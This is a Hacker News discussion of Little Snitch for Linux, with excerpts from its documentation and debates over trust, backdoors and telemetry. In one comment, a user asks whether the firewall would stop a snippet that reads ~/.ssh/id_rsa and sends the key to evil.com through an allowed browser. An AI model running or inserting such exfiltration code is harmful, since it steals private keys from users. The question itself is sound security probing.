I guess what I'd really like is a middleware box or something that I could put on my home network, but would then still give the same user experience as the normal app. I don't want to have to log into some web interface and manually add firewall rules after I find something not working. I like the pop-ups that tell you exactly when you're trying to do something that is blocked, and allow you to either add a rule or not.
I'm probably straddling some gray area between consumer-focused and enterprise-focused feature sets, but it would be neat.
Anything new to get much better performance from low-spec machines that is idiot-proof is a game-changer.
If anyone from obdev is reading, please give us a way to pay for it, even if it stays free :), I'd love to support development and would happily pay something between the price of Little Snitch and Little Snitch Mini.
Anyway, thanks a lot!
[0] https://help.comodo.com/uploads/Comodo%20Internet%20Security...
Did not know about LittleSnitch, will definitely check it out.
my question is... if the tracking maps fill up completely, does the daemon fail-open or fail-closed?
What would be the right tool to harden in a similar way to little snitch on mac? Meaning intercepting any connection and whitelisting them reliably.
[0]: https://en.wikipedia.org/wiki/ZoneAlarm
[1]: https://d2nwkt1g6n1fev.cloudfront.net/helpmax/wp-content/upl...
Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:
key = (Path.home() / '.ssh' / 'id_rsa').read_text()
subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])
will this request be blocked?> Error: the BPF_PROG_LOAD syscall returned Argument list too long (os error 7).
> littlesnitch.service: Consumed 3min 38.832s CPU time, 13.7G memory peak.
I wonder if the decision of Little Snitch to make the Linux version free forever was also informed by this "no way to make money selling tools on Linux" wisdom or if there was another motivation. It seems that if any tool has chances of making decent money on Linux, a product like Little Snitch, which is already well established, with working payment infrastructure would be a good candidate.
Shameless plug: for anyone who wants something fully open source and terminal-based, I maintain RustNet (https://github.com/domcyrus/rustnet). It's a bit different because it's a TUI for real-time connection monitoring with deep packet inspection, not a firewall. No blocking/rules, but it's cross-platform (Linux/macOS/Windows), the entire codebase is open, and it sandboxes itself after init via Landlock with capability dropping.
Recently I was wondering how you really have to trust something like little snitch given its a full kernel extension effectively able to MITM your whole network stack.
So I went digging (and asked some agents to deep research), and I couldn't find much interesting about the company or its leadership at all.
All a long way to say, anyone know anything about this company?
I thought it would be easier to do DPI on Linux than macOS. No???
https://news.ycombinator.com/item?id=35363343
> Little Snitch for Linux is not a security tool.
Maybe not?
> Its focus is privacy:
Or maybe yes?
Hopefully Apple makes the necessary frameworks available on iOS in general. Not only for supervised devices.
Congrats to Objective Development for expanding their well-loved tool to a new platform. You guys rock.
https://obdev.at/blog/little-snitch-for-linux/
The core issue is simple and uncomfortable: through automatic updates, a vendor can run any code, with any privileges, on your machine, at any time.
-----
If the author is serious about this, then they should make their own program completely open source, and make builds bit-for-bit reproducible.
For all I know, the proprietary Little Snitch daemon, or even the binaries they're distributing for the open source components, contain backdoors that can be remotely activated to run any code, with any privileges, on your machine, at any time.
Worth noting that it is closed source. Would be worth contributing patches to OpenSnitch to bring it up to parity with Little Snitch.
I know everyone today is used to upgrading every 5 seconds, but some of us are stuck on old software. For example, my Linux machine keeps rebooting and sucks up power in suspend mode because of buggy drivers in 6.12+, so I'm stuck on 6.8. (which is extra annoying because I bought this laptop for its Linux hardware support...)
Isn't MacOS just *nix under the hood? Genuinely curious about this difference.
Is there a userland component that's using something like iptables? (Can iptables block traffic originating from/destined to a specific process nowadays?)
Why?
Anyway, this one looks great. I hope Linux distros will incorporate this or similar into the network widgets.
It was quite insistent on the fact that it would be "noisy" at first as it queried all the programs you ran, but would then quieten down once it had been "trained". It got that across in clear, simple language.
I think it was so successful because it got the soft side of its security job right as well as the hard part. It's certainly why I recommended it to anyone at the time...
I've just found it and uploaded it to github. Looking at the code, I can see my horrible C style of the time. There's probably bugs galore.
https://github.com/JetSetIlly/Direwall
If I remember correctly, it runs as a commodity and patches the socket library. Interestingly, the socket library was not re-entrant (unusual for Amiga libraries) so I had to patch the Exec OpenLibrary() function to monitor the loading of new copies of the socket library. But it's been a long time so memories are hazy.
It'll be interesting to see if it is still compiles and runs for modern AmigaOS, if any active Amiga programmers are around to see.
ZoneAlarm otoh, was snakeoil. Programs that ran at the same privilege level (typically everything) could bypass it in various ways.
But the trust issue is still real, the daemon has to run as root because it needs to watch for new mounts and keep a table of file system roots up-to-date, even after loading all the eBPF programs. As a root process, it can technically do whatever it wants. Unless you limit it with a kind of mandatory access control (SELinux or similar).
This is the very first release and we will probably come up with a more restricted permission requirement in the future. For the moment, I try to catch up with bug reports. There seems to be more diversity in the Linux landscape than I had expected.
Yes, they are indie Mac developers who have been in business for more than 20 years, and Little Snitch for Mac is beloved by many users for a long time.
> little snitch given its a full kernel extension
On macOS, don't think Little Snitch needs kernel exclaves / extensions. Apple provides userspace ("Network Extension") APIs (however limited) for apps like Little Snitch to use (instead of pf).
> effectively able to MITM your whole network stack
"MITM" means something else, anywho... if network observability (not firewall) is the primary need, cross-platform (GUI) sniffers like Sniffnet exist: https://github.com/GyulyVGC/sniffnet
I've been a GlassWire user for years, which partially fills the role of LS, but not very well. Aside from the many performance issues I've seen, it's missing a lot of LS essentials. To be fair, I think the focus of GlassWire is more about visualizing traffic on your Windows computer, but I definitely believe there is a need for better Windows network software for power users.
The Linux version is limited in complexity. It has to decide immediately. This has the consequence that no packet leaves the machine if the connection is denied, but on the other hand it means that it's easier to trick. The macOS version can inspect the first packet sent (deep packet inspection) to find the remote host name in TLS headers. The Linux version relies on heuristics: The most recent lookup seen which returned the IP address determines the name. This part is Open Source and you can inspect the algorithm.
On Linux, we intercept at a level where packets already have an Ethernet header. I hope that Paqet injects before* this layer, but only a test can give the proof.
They are still restricting iCloud Private Relay to Safari for the most part. iOS is really wanting for privacy improvements to close the gap between marketing and reality.
Fun fact: iOS lets developers spy on when you _dismiss_ notifications:
https://developer.apple.com/documentation/usernotifications/...
Ever instantly angry-swipe-to-clear a DM notification soon as it hits your lockscreen from someone who upset you? Zuck knew y'all had beef.
Clear notifications before bed and in the morning? All those companies could know a bit more about your routine than you would've otherwise revealed if weren't in the habit of using those apps at those times.
--
The kinds of tiny things that would be pretty inconsequential on their own but that you figure maybe the Apple tax would help you avoid.
(edited with additions)
Why does LittleSnitch (Mac) pre-resolve IP addresses, before user presses Accept/Deny?
IMHO DNS queries shouldn't initiate without user input.
I think it's still better to make it public and only partially Open Source so that some people can benefit from it. If you don't trust us, that's completely reasonable, just don't install it.
I would love to fix this requirement, but have not found a way yet.
The systems LittleSnitch uses to do packet inspection are very much OS-specific. There's no generic standard for doing high-performance packet inspection. XNU and Linux are *very* different kernels. Linus Torvalds built Linux from scratch as a monolithic kernel because he wanted a Unix-like OS that wasn't encumbered. XNU is based on the Mach microkernel though XNU is a hybrid or monolithic kernel, not a microkernel. The point is, they have very different heritage and very different systems for... well pretty much everything. So "just *nix under the hood" is kind of true but also completely besides the point as far as packet inspection goes. And even then, while there are a lot of similarities between the core system tools of Linux and macOS, they're still quite different and unless you're limiting yourself to POSIX-standard interfaces (which are only a fraction of the system), you're not going to be able to use the same code on both systems.
There was simply no need for it. GNU provided most of the software, spyware was unknown.
Only since comercial vendors package for linux and bring their spyware along, the desire to inspect network rose.
A simpler time lol.
Used to use Outpost Firewall Pro, too.
It mostly worked exactly as you would want a desktop firewall to, and integrated nicely with Cisco VPN tech, so you could ensure Integrity was operating correctly before fully opening up the tunnel for access to corporate assets.
Also: If an interpreter is run via `#!/bin/interpreter` in the script binary, it makes the rule for the script file path, not the interpreter. This does not work when running the script as `interpreter script`, though.
"Note: Little Snitch version 1.0.0 does not currently work with the Btrfs file system! Btrfs is used by default on Fedora, so Little Snitch does not currently identify processes on Fedora. We are working on an 1.0.1 release to fix the issue as soon as possible!"
If you or I guess anyone is curious sereno[hyphen]alpha[dot]ramble[thenumberoftechn9ne'sfavoriterum]@passinbox.com
Version 6 added DNS encryption and in principle we could filter lookups (similar to PiHole) at this level. That brings other issues, though: This filter is system-wide, so process-specific rules (and overrides) would not work. And results can be cached by mDNSResponder. So when a blocklist causes an issue, you may not be able to fix it by simply disabling the blocklist. But it's still something we consider.
For whom? Average desktop users? Average users don't know what LittleSnitch is, let alone calling it "popular software."
I have now installed Fedora in a VM (ARM64 architecture, though) and it does load, but cannot identify processes. I'm investigating this now.
The other issue seems to be with eBPF compatibility. That's a moving target and I'll investigate next. But resources are limited, I'll need some time to dig into this.
And the second most upvoted comment is someone seriously asking if 2026 if the year of Linux desktop...
I'm as a linux user very reluctant to install anything proprietary that has such sensitive info as my network traffic and would rather use opensnitch or any other foss fork.
The same time I don't mind to pay for open-source, I donate several thousands USD per year to FOSS projects. But I guess I'm in a minority here and if you make the whole stack open-source you're not going to make many sells really.
[1] "Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here." -- from https://obdev.at/products/littlesnitch-linux/index.html
As software should be.
I definitely don't think it's even the likely outcome, but for Linux to get serious traction this is how it has to start: power users but not the traditional developer crowd start actually moving, and in doing so produce the guides, experience, word of mouth, and motivation that normal people need to do so, alongside the institutional support from Valve to actually fix the bugs and issues.
It remains to be seen if a critical mass will find it usable long-term, but if it were to happen, this is how it would look at the start, and Microsoft are certainly doing their best to push people away right now, although I suspect the real winner is more likely to be Apple with the Macbook Neo sucking up more of the lower end.
Come on, this is an absurd comment. Linux has its issues, this is not a serious example of what is keeping normal people from using Linux as a desktop OS. Normal people are not installing the first release of a privacy networking tool that requires you to OK connections.
Slightly? There are quite a few tin foil hat comments on this submission.
And regarding failed reverse DNS names: Little Snitch is sniffing DNS lookups. If lookups are encrypted, there is little it can do. We usually recommend DNS encryption at the systemd layer, not at app layer. This way we can see lookups on 127.0.0.53 and the actual lookup sent out is still encrypted.
Also, it's currently only sniffing UDP lookups, not TCP. The eBPF part is already very close to the complexity limits (700k instructions of allowed 1M) and adding TCP parsing would exceed this limit. It should be possible to forbid TCP port 53 with a rule, though. Some complex DNS lookups will fail, but routine things should still work.
Where LittleSnitch is definitely ahead is showing process connections over time after said process has been allowed.
What is that supposed to mean in this context?

Once installed, open the user interface by running littlesnitch in a terminal, or go straight to http://localhost:3031/. You can bookmark that URL, or install it as a Progressive Web App. Any Chromium-based browser supports this natively, and Firefox users can do the same with the Progressive Web Apps extension.
The connections view is where most of the action is. It lists current and past network activity by application, shows you what's being blocked by your rules and blocklists, and tracks data volumes and traffic history. Sorting by last activity, data volume, or name, and filtering the list to what's relevant, makes it easy to spot anything unexpected. Blocking a connection takes a single click.
The traffic diagram at the bottom shows data volume over time. You can drag to select a time range, which zooms in and filters the connection list to show only activity from that period.

Blocklists let you cut off whole categories of unwanted traffic at once. Little Snitch downloads them from remote sources and keeps them current automatically. It accepts lists in several common formats: one domain per line, one hostname per line, /etc/hosts style (IP address followed by hostname), and CIDR network ranges. Wildcard formats, regex or glob patterns, and URL-based formats are not supported. When you have a choice, prefer domain-based lists over host-based ones, they're handled more efficiently. Well known brands are Hagezi, Peter Lowe, Steven Black and oisd.nl, just to give you a starting point.
One thing to be aware of: the .lsrules format from Little Snitch on macOS is not compatible with the Linux version.

Blocklists work at the domain level, but rules let you go further. A rule can target a specific process, match particular ports or protocols, and be as broad or narrow as you need. The rules view lets you sort and filter them so you can stay on top of things as the list grows.
By default, Little Snitch's web interface is open to anyone — or anything — running locally on your machine. A misbehaving or malicious application could, in principle, add and remove rules, tamper with blocklists, or turn the filter off entirely.
If that concerns you, Little Snitch can be configured to require authentication. See the Advanced configuration section below for details.
Little Snitch hooks into the Linux network stack using eBPF, a mechanism that lets programs observe and intercept what's happening in the kernel. An eBPF program watches outgoing connections and feeds data to a daemon, which tracks statistics, preconditions your rules, and serves the web UI.
The source code for the eBPF program and the web UI is on GitHub.
The UI deliberately exposes only the most common settings. Anything more technical can be configured through plain text files, which take effect after restarting the littlesnitch daemon.
The default configuration lives in /var/lib/littlesnitch/config/. Don't edit those files directly — copy whichever one you want to change into /var/lib/littlesnitch/overrides/config/ and edit it there. Little Snitch will always prefer the override.
The files you're most likely to care about:
web_ui.toml — network address, port, TLS, and authentication. If more than one user on your system can reach the UI, enable authentication. If the UI is exposed beyond the loopback interface, add proper TLS as well.main.toml — what to do when a connection matches nothing. The default is to allow it; you can flip that to deny if you prefer an allowlist approach. But be careful! It's easy to lock yourself out of the computer!executables.toml — a set of heuristics for grouping applications sensibly. It strips version numbers from executable paths so that different releases of the same app don't appear as separate entries, and it defines which processes count as shells or application managers for the purpose of attributing connections to the right parent process. These are educated guesses that improve over time with community input.Both the eBPF program and the web UI can be swapped out for your own builds if you want to go that far. Source code for both is on GitHub. Again, Little Snitch prefers the version in overrides.
Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here.
For keeping tabs on what your software is up to and blocking legitimate software from phoning home, Little Snitch for Linux works well. For hardening a system against a determined adversary, it's not the right tool.
Little Snitch for Linux has three components. The eBPF kernel program and the web UI are both released under the GNU General Public License version 2 and available on GitHub. The daemon (littlesnitch --daemon) is proprietary, but free to use and redistribute.
According to a speculative blog post by Eric S. Raymond in September 2020, Microsoft is literally moving towards replacing Windows' internals with Linux. Unfortunately, that post is now unreachable, but searching for "eric raymond article about windows being replaced with a linux kernel" finds many third-party references to it and summaries of it.
So for whom?
The more granular one gets the more likely they aren't really meaning to ask how to do it in the firewall layer though. E.g. if we take it further to wanting to prevent python -c "specific logic" it's clearer what you can do in the firewall is not necessarily the same as what's practical or useful.
Only on Linux you get weird bug, compilation issues, etc.
After all, you have windows, macos and then you have Linux : debian, Ubuntu, fedora, arch, opensuse. That's almost like 5 different os just for Linux.
Sure you can use flatpack and force people to download 2gb installation for something that requires 20mb on windows and macos. That excludes all of the people who don't have fiber internet.
At this point I'm convinced that those developing Linux don't want it to be an os for casuals and prefer to stay in their small, niche community. That's fine by me but it makes claim of Linux desktop year laughable, which I was referring to.
I tried to briefly explain a typical i-own-my-computer mindset regarding the linux monetization question from the parent comment.
I can pay for cool stuff I can trust, but the "I can trust" part is very tricky.
It's like the Nazi bar problem. You need to be vigilant to prevent the thing you rely on becoming yet another platform for Microsoft to exfil your personal data to NSA servers.
Use a filtering proxy instead and no gateway / route to the internet.
or DNS stubs with filtering capabilities.
I think it's fair to ask that a developer choosing to build a thing that requires that kind of access should be expected to err on the side of transparency.
https://github.com/evilsocket/opensnitch?tab=readme-ov-file#...
- GNOME Shell (extension updates without a way to disable this, weather),
- GNOME Calculator (currency exchange rates),
- NetworkManager (periodic hotspot portal checks in most configurations),
- GDB (debuginfod enabled by default),
- Firefox (extension updates, push notifications, feature flags, telemetry, ..., some parts cannot be disabled),
- VSCodium (Open VSX callbacks even when installing extensions from disk with updates disabled, JSON schema auto-downloads, extensions making their own unsolicited requests, ...),
- Electron (dictionary updates from Google servers, no way of disabling; includes any application running on top of upstream Electron, such as Signal, Discord, etc.),
- GoldenDict (audio samples fetched from the Internet on word look-up, no way to disable)
Of course, this is nothing compared to Windows [0] and macOS [1], but the malpractice of making Internet connections without asking, by default, has unfortunately been finding its way everywhere since modems stopped making audible sounds.
Having read about PRISM and seen the leaked dashboards of Paragon Graphite (said to be used by ICE), and with LLMs bridging the gap between mass and targeted surveillance, I don't want any of this.
[0] https://github.com/microsoft/calculator/blob/ffd0519676019a0...
For example, I have Steam installed on my Macbook pro and I occasionally play a single very simple game there. Does that make me a macOS gamer? of course not. The vast majority of games I want to play don't work on macOS.
I suspect that most of those 5% are just Linux users who have steam installed and play a small amount of games. Some probably just installed it to check what's available and don't play anything.
Everyone I know who is a "serious" gamer, as in exited about upcoming releases of AAA games is using Windows.
Quote from LittleSnitch:
> Little Snitch for Linux is built for privacy, not security
What's your definion of malware in this context?
Which would crash (technically hang) if you blocked it. [0]
Said motivation could be a nation state handing them $XXX million dollars
I think the type of users it attracts (techies, crypto ppl, etc) makes it worth more too.
You're missing the most important part of the motivation here: why in the world would a nation-state give a damn about Little Snitch, especially to the tune of $XXX million dollars?
A nation-state could pay $XXX million to your significant other to spy on you. But again, a nation-state doesn't give a damn about you.
Note that LibreWolf still leaves some of the stuff on for you to manually disable (dom.push.connection.enabled, extension updates).
[0] https://support.mozilla.org/en-US/kb/how-stop-firefox-making...
If users consider this software important they should donate so they can keep using it.
Per user hacked, it can be very cheap¹ compared to bribing anyone. And give data/access that SO can't get.
State is not interested in you until it does. Being Jewish, Polish, Gypsy, Gay. Or just WrongThinking. Or maybe it becomes super cheap and easy to process all information?
1: it can even be free. You either give us backdoor to all your users or you rot in jail. Here's a complementary beating up or pictures of your kids, to argument our position further.
No, this by itself doesn't make Little Snitch or any business worth $50M. You're dreaming. That's a crazy valuation.
"This is clownish" https://news.ycombinator.com/item?id=13813828
It is already a thing, at least in UK and AU [1]:
> Both countries now claim the right to secretly compel tech companies and individual technologists, including network administrators, sysadmins, and open source developers – to re-engineer software and hardware under their control, so that it can be used to spy on their users. Engineers can be penalized for refusing to comply with fines and prison; in Australia, even counseling a technologist to oppose these orders is a crime.
[1] https://www.eff.org/deeplinks/2018/12/new-fight-online-priva...
How many users do you think Little Snitch has?
Ben Surtees (Bartender’s original developer) burned all the good will accumulated over years in one moment. Never again can anyone trust software under that name.
If you know of someone specific you want to target who uses it, the investment could pay off.
For example, we know from your blog posts that you use LittleSnitch. Someone who wanted to target you might do a lot to spy on you by buying LittleSnitch, probably.
Think of your own apps, too. I don’t think you’d do the same that Ben Surtees did and sell everything in secret, but then again I don’t personally know you. You may have a price that I’m not aware of. For that reason alone, even as I trust the current code is not nefarious, I can never give StopTheMadness access to every website and can only use it selectively, which is inconvenient.
There were no targets involved. There were no nation-states involved. There were no attacks involved. You might not like the new developer, but this whole discussion of a nation-state and 9 figure payoff is totally ridiculous.
2) They are interested in software will billions of users. They are not interested in software with thousands of users.
Little Snitch is not a working exploit for iPhone or Android.
> I think that they would be fine with paying 50M for a userbase that has a high population of devs, admins, etc. Being able to backdoor someone like this in the right organization down the line is probably worth 50M.
No, sorry, this is absurd. A ton of products have a high population of devs, admins, etc. These are not getting acquired by intelligence agencies. Give me one example. There's nothing inherently valuable about this population.
Who is a Little Snitch customer worth 50M to attack? Name them.
As I said in another comment, Bartender had no target! It was not an attack. An app was sold by one developer to another developer. End of story.
> If you know of someone specific you want to target who uses it
But you don't. And you don't in the case of Little Snitch either.
You can dream up a bunch of absurd hypothetical scenarios, but they are not the reality.
> Someone who wanted to target you
Nobody wants to target me. Nobody cares about me. I am insignificant.
What I didn’t like was the secrecy, that was a breach of user trust. Why wasn’t it announced is the problem.
The point is that it shows it can happen. You’re a browser extension developer, surely you know how often it happens that developers of popular extensions are approached by shady businesses and sometimes do even sell.
> You can dream up a bunch of absurd hypothetical scenarios, but they are not the reality.
As someone else has pointed out to you, not hypothetical.
https://news.ycombinator.com/item?id=47699068
> Nobody wants to target me. Nobody cares about me. I am insignificant.
You give yourself too little credit. I know of several developers and other people with influence who use your extensions with complete trust. Compromising you means compromising them, which means compromising even more people. Jia Tan has aptly demonstrated you don’t need to directly attack your final target, only a link in the chain, even if it looks insignificant.
Yes, developers of free extensions who sell for a pittance.
I don't have a popular extension. My extension is relatively expensive and thus unpopular. I don't have enough users to be interesting to shady businesses. My extension is more valuable to me than to anyone else, because I, one person, can make a living from it.
> As someone else has pointed out to you, not hypothetical.
That link seems a bit silly. There's a screenshot with no explanatory context whatsoever. There's a list of items, many of which look quite mundane and uninteresting. Certainly it is not suggesting acquiring the company for millions of dollars. It sounds like someone—could even be an intern for all we know—is interested in attacking the app from the outside.
I agree with tptacek: "This is clownish" https://news.ycombinator.com/item?id=13813828
> You give yourself too little credit.
No, I give myself too much credit. ;-)
> I know of several developers and other people with influence who use your extensions with complete trust. Compromising you means compromising them, which means compromising even more people.
What is the value of compromising these people? Oh noes, the CIA can now write Daring Fireball articles!
> Jia Tan has aptly demonstrated you don’t need to directly attack your final target, only a link in the chain, even if it looks insignificant.
What chain? I have no third-party dependencies. If someone can compromise Apple's operating systems, then my software or Little Snitch is the least of our worries.
I do specifically and intentionally avoid using NPM, because of frequent compromises. Little Snitch is not even JavaScript, so no worries there.
I believe you, and as a fellow indie developer trust you and your intentions and that you’re careful to not be compromised. But if I’m being honest with myself I don’t have concrete proof of any of those. So I trust but also try to limit the blast radius if anything goes wrong. Does that make sense? I think you might agree there.
Your blog helps with that trust and with understanding the human behind it.
> Certainly it is not suggesting acquiring the company for millions of dollars.
Alright, yeah, I see we’re talking a bit past each other in that regard. You’re right that’s how the conversation started (before I joined in) but I don’t care for that angle fully either. I agree there are more plausible ways to achieve the objective.
> Oh noes, the CIA can now write Daring Fireball articles!
Not sure that’d be a downgrade. Maybe they could fix the Markdown perl script, too. Joking aside, I think there would be better targets, like someone on Apple’s Passwords team.
> What chain? I have no third-party dependencies. If someone can compromise Apple's operating systems
I don’t mean it in the sense of software dependencies, but in the sense that some app you use would compromise you. You know macOS’ permissions are mostly security theatre. We know people inside Apple use third-party apps. I can imagine ways of exploiting that, given a bit more knowledge of people from inside (which could be gathered from working there for a while, trawling social media, maybe reading Gruber’s emails, …).
> I do specifically and intentionally avoid using NPM, because of frequent compromises.
Same, no argument from me there.